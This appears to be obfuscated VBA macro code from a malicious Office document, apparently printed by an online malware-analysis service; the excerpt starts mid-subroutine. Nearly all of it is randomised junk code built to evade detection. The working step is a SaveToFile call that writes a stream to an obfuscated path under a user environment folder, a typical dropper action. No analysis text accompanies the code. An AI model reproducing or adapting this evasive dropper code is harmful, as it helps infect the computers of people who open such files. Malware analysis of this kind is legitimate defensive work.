    IrULKf = RTrim("-FS b) w--Sb") + StrReverse("FHpN]$i QYgWRPX@")
    rgpWyvROeS = Left(" oeuGU^ ", 3) + LTrim("Uh- acba")
    GcrPnpCz = UCase("e N @ep ^ t   f@") + RTrim("e(ypHZ")
    zsuFa = Right("b $DYbs u", 4)
    RmnyHIbCE = Right("   eacItNI#gv_oX ", 3)
    IhbJMGt = Space(6) + Left("  ibZnhmyda-DZLV_I .", 5)
    iNNWNWL = Right(" e L#P I", 2)
    ypIEQJHvNqCJ = UCase("ms  iaqi") + RTrim("L W  h_^ka z$iEw")
    For Sptaru = 2 To 4
        While EGRKQE < 2
            

            

            IrULKf = Left("D#PJQ(p^", 5) + LTrim("O- ChekV -")
            EGRKQE = EGRKQE + 3
        Wend

        

        xTClB = Left("LD. mf) q(UA %", 2) + LTrim("yij- rGV P-_ wkdSvh ")
        xGSqdvY = Left("jTJU R)ykZN Xc ", 5) + LTrim("B_u_MF   dH_qm$")
        iNNWNWL = 20 - 63
    Next Sptaru

    EWRQoC = Left("n-jPZgp O & r# Y w", 4) + LTrim("LAz%yG _lP")
    Call DBvAm.SaveToFile(Environ(QWnTUQRILK("AaxhIcly z#dlZT vpUQ!c_msnxl WeJeeT)r! C^ s $h EP(slc)rS %UWoBKo?ufEtctHi (L&Olp& f?eYq z ")) & FwUkAogvq("\P. dw\Cz]oXT H#qOm?gfwAvRcZr RNpekkJsCv!zr &ACk. UMwmeuA] vxw B leh^ CQ"), 5 + 3 - 6)
    UuJYLhKfF = RTrim(" !  bOy ") + StrReverse("p DH Z")
    While omKkMk < 1
        For kboNRM = 2 To 5
            CZQwgrspEjjV = RTrim(".d^H ]&BCY tZN ") + UCase("jD@QE )nF LE i!H")
            pvWSXQ = UCase(" (klE C  ") + RTrim(" _  W")
            StXByPQ = LTrim("QtM^yv_ UxB^rnY ")
            UpulLCcJfl = Left("l dc Xr ", 4) + LTrim("tm    c&")
        Next kboNRM

        NStzgKgqw = RTrim("nSuL  XuZx") + UCase("j cuYN& ON_  [d-Pa?")
        zsuFa = RTrim("- l jf$  MzU&-D") + StrReverse("oCn#i&gB Z j")
        StXByPQ = 85 - 26 - 64 - 25
        omKkMk = omKkMk + 1
    Wend

    GAdseXdCz = RTrim("R?p e_ C kN ") + StrReverse("a# v]")
    GcrPnpCz = UCase("K  SlvaS") + RTrim("tMz?$ h)tS V ?( KiS")
    For KYpwsE = 2 To 5
        xGSqdvY = UCase("Nny(mX$  ") + RTrim("G )& u gnOdyHQ")
        xTClB = Space(3) + Left(" #   oBaTUTf  heSu", 2)
        vzXixElpFf = RTrim(" V dYiV Sjsa?") + StrReverse("P.Xvsx]  BTd (q  .")
        SUznto = Left("vBdO (kvjuVax", 5) + LTrim("E I__Za D [  t zj")
    Next KYpwsE

    JvAfgDS = Space(1) + Left("#MVJEGPp  (wDru", 4)
    ofNftcb = Space(1) + Left("gQ]( Zm p", 3)
    ofNftcb = UCase("rYC iFatetQiUg ") + RTrim("hJlL  T[ii v    Bdy")
    EWRQoC = 4 - 20
    ypIEQJHvNqCJ = RTrim("!.I a  p c@F M") + StrReverse("U@hLT] W# _ (u_ nj")
    

    For IaxmRR = 2 To 3
        For oMRyaQ = 2 To 9
            IrULKf = RTrim(" ?  Mm Ukoo][  F ^a ") + UCase("m@ze.$dQO !%Ee?q-wXs")
            wfOoxTp = LTrim("r? MW FnA cR V ")
            MCHOOxoKhDJv = 24 + 46 + 18
        Next oMRyaQ

        ZhMQd = UCase("A   pO    z") + RTrim("S Uwq Da  f#")
        xGSqdvY = 25 - 45 - 60
        rgpWyvROeS = RTrim("N A@Nvb_ L ") + StrReverse("bm[%o")
    Next IaxmRR

    

    DBvAm.Close
    Zqwxg = RTrim("   Zr !nq! hpvI") + UCase("Oi bzH^ _w& t[@y")
    GAdseXdCz = RTrim(" xL@M") + StrReverse("!IcLLY^q Ew@aNw& $s")
    For gkBTEy = 2 To 7
        KqOOWH = RTrim("tX.BQrD[ & nk!Ay#") + UCase("z gWtH$Zo[@]?^K &yXr")
        ctrIlYM = 100 - 95 - 2 - 35 - 91
        

    Next gkBTEy

    EDKxrML = UCase("$_nOk  iujtR-B pR ") + RTrim("OtUJ_l#%_vpchA   h D")
    xGSqdvY = RTrim(" s OX.q t!TjJ") + UCase("WX O c US_JliDA    ")
    xTClB = Right("I!m&%dz!^A!f ", 5)
    zsuFa = Space(10) + Left("mmzziZ Y", 5)
    While zWyjMR < 4
        IrULKf = RTrim("zk  G ^p") + UCase("kP!qhhoT OOg[l")
        FmufhvJgn = Left("?SPo$ ln m-E.G jFQ&", 3) + LTrim(" Har  wF y")
        YwSdfm = Space(1) + Left("a bFB XEG", 2)
        KqOOWH = Right("E a k  S w  nok@ Ss", 5)
        zWyjMR = zWyjMR + 3
    Wend

    For IYhCgj = 2 To 4
        While PcguXF < 1
            IrULKf = LTrim("i[  # EO.Vnn ^ ")
            EDKxrML = RTrim("     RQ") + UCase("wy C  [oqk T")
            ctrIlYM = UCase("  AxUo?EGT [v") + RTrim("RA tH b k^h")
            PcguXF = PcguXF + 1
        Wend

        ctrIlYM = Right("j#^-   pbc   r M ", 3)
        MCHOOxoKhDJv = LTrim("uOON nRLbK?Sw")
        OMLlEtrSO = RTrim(" ipE  sDZU") + UCase("x$  h@d pCHi% %iUV")
        etZuSsxBgD = Left("_O lYF (P", 5) + LTrim("    - j  #n dS")
    Next IYhCgj

    ctrIlYM = 73 + 98 + 76 + 51 + 40 + 49
    For oSATSY = 2 To 10
        EDKxrML = RTrim("oW  M.nBh") + UCase("#X-C]Vn[( g&)b Ygn")
        RmnyHIbCE = 87 - 99 - 32 - 72
        ofNftcb = Space(14) + Left("KXakVN ", 4)
    Next oSATSY

    EWRQoC = RTrim("t) ?sF  .op") + StrReverse("bYiS N_")
    

    lFOQzkpfGhCg = Left(" DJzE  oZa# sYKB", 4) + LTrim("uZ  .P")

    rgpWyvROeS = RTrim("M w b %]hk&G@)") + StrReverse(")TjbR")
    ofNftcb = UCase("M%_!GIg ") + RTrim("cvBCM]Sb p Oh @zB@Mz")
    IrULKf = Space(1) + Left("]#d&kl", 5)
    NStzgKgqw = 25 + 84 + 100 + 52 + 21
    KqOOWH = Right("?q(rrq ]fg", 5)
    ypIEQJHvNqCJ = RTrim("FvexI #G  ") + StrReverse("l  s ^K-c!U   ]AYa@")
    While ScAaGF < 1
        Qszgh = RTrim("Q)FDpB ZR f  a#vE C") + StrReverse(" UUeZEgFWmp e")
        Zqwxg = 60 + 81 + 16 + 60 + 93 + 5
        zsuFa = RTrim("qtVf&.vwc") + StrReverse(" Q%xkrqQ[qPSLBv")
        ypIEQJHvNqCJ = Right("_)M Jga H[Q[g ", 3)
        pvWSXQ = RTrim("a( eRIZLr vPAre  L] ") + StrReverse(")zsJt dRRl EeMDd@")
        ScAaGF = ScAaGF + 2
    Wend

    FmufhvJgn = Right("^gRqN", 4)
    

    For dgMnKa = 2 To 8
        zsuFa = Left(" h  d l!o ", 2) + LTrim(". ] e ZYzk!uuLbVFXw ")
        ypIEQJHvNqCJ = 74 - 40 - 19 - 65
        IhbJMGt = RTrim("^kI   DGJyca^QW Td") + StrReverse("vB !gDsM")
    Next dgMnKa

    kHAKU = Left(" ?c  PFcd", 5) + LTrim("aWh O vl[Ea Qj# tN  ")
    KqOOWH = Right(" X   qQc] rjUl ", 2)
    rkfzPhkeHe = Right("huV!xh", 3)

    GAdseXdCz = RTrim("] [K-e x[juG ") + UCase("Xo L S M")
    ZhMQd = UCase("  q rB") + RTrim("cf?rz(  si ")
    YwSdfm = Left(" U ydT", 3) + LTrim("  EdI# Faq")
    

    JvAfgDS = UCase(" oCiSZ  DY_O^") + RTrim("mFip$&")
    iNNWNWL = Left("COq.Nmx_HvA l GM", 2) + LTrim("XftZ    H wT!T.xa% ")

End Sub


Function bVzPCP(LTmxZM As Boolean, fyjCyby As Double, gfuPqR As Integer, GhYXHg As Integer) As String
    CZQwgrspEjjV = UCase("QzgqBH U") + RTrim("u l # &j")
    ypIEQJHvNqCJ = RTrim("%  ej_WQ Y y") + StrReverse(" V V (KUqNX  ")
    JvAfgDS = Space(10) + Left("Q  Gi FG uph N!#Fr", 2)
    pvWSXQ = Left(" -w!wjhP c PH", 2) + LTrim("& C F  ")
    GAdseXdCz = 28 - 44
    zsuFa = 15 + 100 + 76 + 44
    CHqqhJRH = LTrim(" ?KM )o?Gf o  oL] I^")
    

    kHAKU = 7 + 82
    xTClB = LTrim(" zed   q%_ Ge &U zi")
    xTClB = LTrim("br%?  ")
    While GXnygv < 4
        For MgoUJg = 2 To 5
            YwSdfm = Right("ePc ^   f R%U  .X^T", 4)
            wGSgmPwe = RTrim("T wnipj  $y-LT%") + UCase(".ITT ")
            RmnyHIbCE = RTrim(" z%k_Qdw]_ R ") + UCase("PVN  y")
            iqYGnuLv = Left("B.lR B CbKF.", 2) + LTrim("l]^SgsmS_Mao fsy")
            wCNNa = RTrim("y  QY$ w@") + StrReverse("i ScX$-[aJF xrT  @T")
        Next MgoUJg

        iqYGnuLv = UCase("] R-pt") + RTrim("   DB.")
        ofNftcb = 11 + 50 + 62
        

        GAdseXdCz = LTrim(" PE Y!GR N[qL^")
        GcrPnpCz = UCase("$.- R") + RTrim("(  O  t")
        GXnygv = GXnygv + 1
    Wend

    NStzgKgqw = LTrim(".JT #$N ]&D w")
    ypIEQJHvNqCJ = LTrim(" @ UrnAkj")
    While rYxnqZ < 5
        kHAKU = 10 + 78
        KqOOWH = RTrim("sMh iVF k O") + UCase("&?Zus T-]")
        rkfzPhkeHe = UCase("  Jw -%dT  P") + RTrim("f JXiJ((V")
        StXByPQ = RTrim(" $KmiF") + UCase("NjG XJP j_  x")
        

        rYxnqZ = rYxnqZ + 1
    Wend

    QvlbGi = 98 - 19 - 20 - 37 - 67 - 22
    bVzPCP = "MZWBdhnnhvIthZQI"
End Function



Attribute VB_Name = "Module2"

Function onEruK(JlCWSAx As String, gferKuZ As Integer, bzqqAd As Double) As String
    iNNWNWL = 27 + 84 + 56 + 38 + 16
    OMLlEtrSO = RTrim("#  Rp l[&E TWARd!") + UCase(" GU Q(  CYJs  Z[ G.")
    IhbJMGt = RTrim(" s)E_dlz]Z [m)$ qIFE") + StrReverse("TcuxZ bHbnQTl&ba]l%")
    

    hGXtFHAIfpO = Space(3) + Left("m%-U?x", 3)
    TyllcbkUr = RTrim("  fe_$cX a x ") + StrReverse("Z&MR X SXPbA& $P)")
    IrULKf = Right("P  &X R( YDL", 5)
    While edOQfj < 2
        RmnyHIbCE = 74 - 32 - 83 - 22 - 22
        hGXtFHAIfpO = RTrim("iJWe% aI") + UCase("m XzV@LZn ?Dax ?r")
        rkfzPhkeHe = Space(15) + Left("knrzO rRulcm dk  M", 3)
        JvAfgDS = 25 - 8 - 41
        edOQfj = edOQfj + 1
    Wend

    

    For VjyLkn = 2 To 5
        For nFZDRU = 2 To 6
            OMLlEtrSO = 36 - 69 - 86
            JPYXuPOitIe = 79 + 13
            ZhMQd = RTrim(")#qOEMMPtQnm") + StrReverse("_) s C")
            CZQwgrspEjjV = Right("OfqDJ  KM  ^FlLK ", 5)
            

        Next nFZDRU

        QvlbGi = RTrim("IQZZ&d (  WnFD") + StrReverse("IDUj Hl?SfbCm ")
        etZuSsxBgD = RTrim("_Pw P n iW") + StrReverse("%X$ NA@BIHs?XqTw ")
        

        wfOoxTp = Left(".bUz]) %!ty&Y ", 5) + LTrim(" jcyq ivl")
    Next VjyLkn

    OMLlEtrSO = Right("wHat  Kl )", 5)
    RmnyHIbCE = RTrim("D#lE z aCG G") + UCase("vK_ K &d -")
    ctrIlYM = 29 + 97 + 84
    CHqqhJRH = Space(1) + Left("rk!#O m% ", 3)
    MCHOOxoKhDJv = UCase("TDXp]MA  $ Kk") + RTrim("b  )xP    Io")
    wCNNa = UCase("hSVE_ T%A-nHV b") + RTrim("%vKg)pL-hhjv")
    onEruK = "cydeJheVcINkQvxd"
End Function



Sub uWpMrh(dVdTPzx As String, pBhBhk As Boolean, wVtXDc As Double, WvTUSjk As Double, DxiHhN As Double)
    YwSdfm = Space(4) + Left("  bC_!", 5)
    While JOtHhy < 4
        EDKxrML = LTrim("AMDLP.^ oelF)")
        ypIEQJHvNqCJ = RTrim("Pf? qNh Z Y&.)u") + StrReverse("Rbhfz   ")
        rkfzPhkeHe = Space(6) + Left("aLO!AluS  lvBn(  D", 4)
        KqOOWH = UCase("f BPb ]o@ ^ s.Nv S(") + RTrim("^bPJ S B")
        JOtHhy = JOtHhy + 1
    Wend

    xTClB = Space(12) + Left("  H &P s -yG_GXeDY ", 2)
    StXByPQ = Space(10) + Left("!Fh XW ", 2)
    GcrPnpCz = Space(10) + Left("Lf) Z", 4)
    UpulLCcJfl = Right("^X ILFGOE !i", 4)
    FmufhvJgn = RTrim(" raXJh") + StrReverse("tP ^cmv ( ?UnJDblNq ")
    While tehuEK < 3
        pvWSXQ = Right(" $Xe DeX  @L", 2)
        iqYGnuLv = 92 + 37
        

        iNNWNWL = RTrim("gpn  ^JMZ#Z") + UCase("B k T #JYKH p[HI")
        pvWSXQ = Right("id_!Yl]CD&", 4)
        tehuEK = tehuEK + 2
    Wend

    xTClB = RTrim(" q)yb") + StrReverse("  h)E#WvHTU o")
    UpulLCcJfl = RTrim("DmH]  XF") + StrReverse("$ A   %A[bQX")
    

    xTClB = Right(" Pibw", 3)
    rkfzPhkeHe = 7 + 26 + 0
    UpulLCcJfl = RTrim("wSDa FI( U.") + UCase("V!Mvq$huz_u] j&")
    SUznto = LTrim("td?W#pP?vaK")
    MCHOOxoKhDJv = UCase("@ IC)FA&r(kM") + RTrim("&C@SCoVMl")
    Qszgh = Right("% n Os  _gNQy W F  X", 3)
End Sub



Sub qZjAHN(uFScRsa As String, RBzgAi As String, DAvleSL As String, dJSGzTM As Integer, JogtyX As String)
    GcrPnpCz = Space(5) + Left("V[dP NuqM# NNs", 2)
    wfOoxTp = 62 + 19
    TyllcbkUr = RTrim(" Fn B^  A?sbM ") + UCase("A v l r[Crl -")
    UpulLCcJfl = RTrim(")N) Cb.v s R [C_") + UCase(" A@k_g.VS cZ)Wr-!@q")
    IrULKf = Right("Y RzKB-  BuMPSd", 2)
    vzXixElpFf = 22 - 53 - 88 - 71 - 92 - 25
    FmufhvJgn = 17 - 11 - 61 - 76 - 74
    For wtSQQa = 2 To 4
        For uxlJIq = 2 To 10
            xGSqdvY = Right("%M qT  .e", 5)
            Qszgh = RTrim(" cxsnh") + UCase("$?U  # Xh. !  r)v  w")
            FmufhvJgn = Space(15) + Left("AyGe TPB rL", 4)
        Next uxlJIq

        CHqqhJRH = RTrim("fxboU") + StrReverse("  xmo  [ #NJ uAzG")
        JvAfgDS = Left("a uL ", 2) + LTrim(" M M_ ! xIt")
        ofNftcb = RTrim("IzVAL]") + StrReverse("DM Z&Z  @EwFUt Gb  !")
    Next wtSQQa

    SUznto = Space(13) + Left("[OCXFNqT K% r[", 4)
    CHqqhJRH = LTrim(" MhyLa")
    rgpWyvROeS = Right(" Ejh)  HgWx", 5)
    rgpWyvROeS = UCase("a  Vg Nm% kK  V@_") + RTrim("OrmA_tE# JA -")
    

    

    QvlbGi = UCase("[wle(q # c") + RTrim("g#G PWsD Dz  oa")
    vzXixElpFf = Right("QRXVbaJa^eYfR", 4)
    GcrPnpCz = Right("WGvMU  OzJ? ", 3)
End Sub



Attribute VB_Name = "Module3"

Function PQIYnF(pOgrlsS As Double, jJSRkv As Boolean, fwhjzYK As String, wYBrqGn As Boolean) As String
    While LXkIkw < 3
        While TthXIV < 3
            Qszgh = 46 + 36
            GAdseXdCz = UCase("R@s ]hRBYXzvdwA .Q") + RTrim("  qi[oF &")
            xTClB = Left("onjIb aDkT#   lOGv", 4) + LTrim(" qciYLW Q (?DI")
            UuJYLhKfF = Left("cSR  llnSb", 3) + LTrim("B S(eESpAo")
            ypIEQJHvNqCJ = Space(18) + Left("  V.Ssl&%!Sk", 4)
            TthXIV = TthXIV + 1
        Wend

        QvlbGi = 97 + 21 + 6 + 23
        wGSgmPwe = LTrim("zzo!e c  [%")
        IrULKf = Space(3) + Left("lu?e yOK .  AGeW p-", 2)
        wCNNa = UCase("M ]-Q !. ?s%Ukrv  FA") + RTrim("q  qOX  #QB [H$Mcn")
        EDKxrML = Space(10) + Left("?zIE X Y", 3)
        LXkIkw = LXkIkw + 2
    Wend

    EWRQoC = RTrim(" HLN$v  f wvV ") + UCase("?p qWqlWW fV g")
    While UqJgBm < 1
        EWRQoC = Space(10) + Left(" b ?#[ ", 5)
        RmnyHIbCE = Right(" nhBE  ^%IJ", 4)
        OMLlEtrSO = UCase("f -U)^ l ) JY Y") + RTrim("BnbhFFp% r jP&gY @t ")
        SUznto = UCase("H g-  o") + RTrim("VZ xLvej])[. E# ")
        UqJgBm = UqJgBm + 1
    Wend

    EWRQoC = LTrim(" CD  eMDOF   M S")
    zsuFa = LTrim("x ?S TzrfgvDA ")
    RmnyHIbCE = RTrim("cgJU  .Ya_u wW]n lZ") + UCase("b# %nn-d")
    ypIEQJHvNqCJ = Left("bbt)m(U#s  PFV# )", 5) + LTrim("Uif xf%")
    GcrPnpCz = Left("PL ZX@ ", 2) + LTrim("W dH&$hG )")
    

    TyllcbkUr = UCase(" q%KJ C") + RTrim(" sj-vUX W@ ")
    IrULKf = 84 - 5 - 15
    TyllcbkUr = UCase("WA  y $zpWhD      Jc") + RTrim("W p Rt Kl?p")
    vzXixElpFf = Right("    AIYYEHesGMLDE", 4)
    UpulLCcJfl = RTrim("W  TfkkU(sWROmQw") + StrReverse("zzz%! niRY ")
    lFOQzkpfGhCg = 38 - 88 - 73
    

    QvlbGi = Space(5) + Left("  vTa )djQ- uu", 5)
    rgpWyvROeS = Left(" xG Wrp! GI   uP", 4) + LTrim("YfQM q@]k)qi")
    EDKxrML = RTrim(" G[?   RY  WI") + UCase("    z a ")
    rgpWyvROeS = Right("dr (# Pld?^ ", 3)
    PQIYnF = "ULhFjRHFAMyXPMItqNHe"
End Function



Function PnBpkC(QuvQShw As Double, KdEzFFH As Boolean) As String
    JvAfgDS = RTrim("wu # J ") + UCase("R  [ OaWOW%^WV  R qq")
    kHAKU = UCase("()PKzAEx") + RTrim("klei Awdl  kqaM.XMuX")
    xTClB = 71 - 9 - 31 - 52 - 77 - 38
    IrULKf = Space(9) + Left(" @A@  k e[", 4)
    iqYGnuLv = LTrim("@fwPr  H@j&_n")
    iNNWNWL = Right("biojId#  ^Ch", 4)
    

    

    UuJYLhKfF = RTrim("MDQhpf") + StrReverse("NF h DcJ NZ I]FT P ")
    SUznto = LTrim(" )YptZQ")
    UpulLCcJfl = Right("HAWc_^", 5)
    pvWSXQ = RTrim("p]Ma%W D ") + StrReverse("t^d&Yt .l$f# X -HfF")
    xTClB = UCase(" uG  Pe Ps VvP ") + RTrim(" hqQ!&! ")
    

    rgpWyvROeS = Space(18) + Left("yL%  ", 4)
    

    While LtrlHI < 4
        

        

        IhbJMGt = LTrim("FJFPkO T cyLw dbb")
        iNNWNWL = LTrim("vMzhr& ")
        LtrlHI = LtrlHI + 3
    Wend

    PnBpkC = "CZaOrUfSBlgkjcOUs"
End Function



Sub NCTgKY(SUHLCQ As Integer, HpXLKz As String, BZKBhwj As Integer)
    YwSdfm = 49 + 14
    

    kHAKU = Left("bLS^[ WLK I#k Zk #@ ", 3) + LTrim("b  D%R K )")
    rgpWyvROeS = Space(11) + Left("s .gwqn", 2)
    vzXixElpFf = RTrim("hnkUhE B N M xF") + UCase("&_  HFt dT ? b u")
    IrULKf = 21 + 37 + 77 + 67
    hGXtFHAIfpO = Right("L&g@  .H  @ Yf.Cg %", 4)
    OMLlEtrSO = Right("y W-!D)xPx#T a]NAd", 3)
    FmufhvJgn = Left("M  @rKz%hD)-y   r ", 2) + LTrim("   B ")
    iqYGnuLv = LTrim("R?QaP   f?Jk")
    While ezRhYr < 2
        For jTQBeb = 2 To 5
            SUznto = LTrim(" zAxbx%  B.Yr  WM  k")
            UpulLCcJfl = 61 - 68 - 62 - 11 - 14 - 3
            ypIEQJHvNqCJ = LTrim("m VW-@- ")
            pvWSXQ = 98 - 42 - 81 - 64 - 66
            xTClB = RTrim(" ut Dk $$m# ") + UCase("tT#Be")
        Next jTQBeb

        etZuSsxBgD = 3 + 9 + 28 + 26
        UpulLCcJfl = Left("   Jc@^Sw]g-  VSp", 3) + LTrim("q(anf  q  ih Vs NV  ")
        

        ezRhYr = ezRhYr + 3
    Wend

    xGSqdvY = UCase("Qo @m(W w") + RTrim("DVkB w ")
    wfOoxTp = UCase("]Mkmm  Dgk o   %].U ") + RTrim("Z @P@LTU  r_ R XXFze")
…

Open this report in the interactive analyzer, or submit your own file for analysis.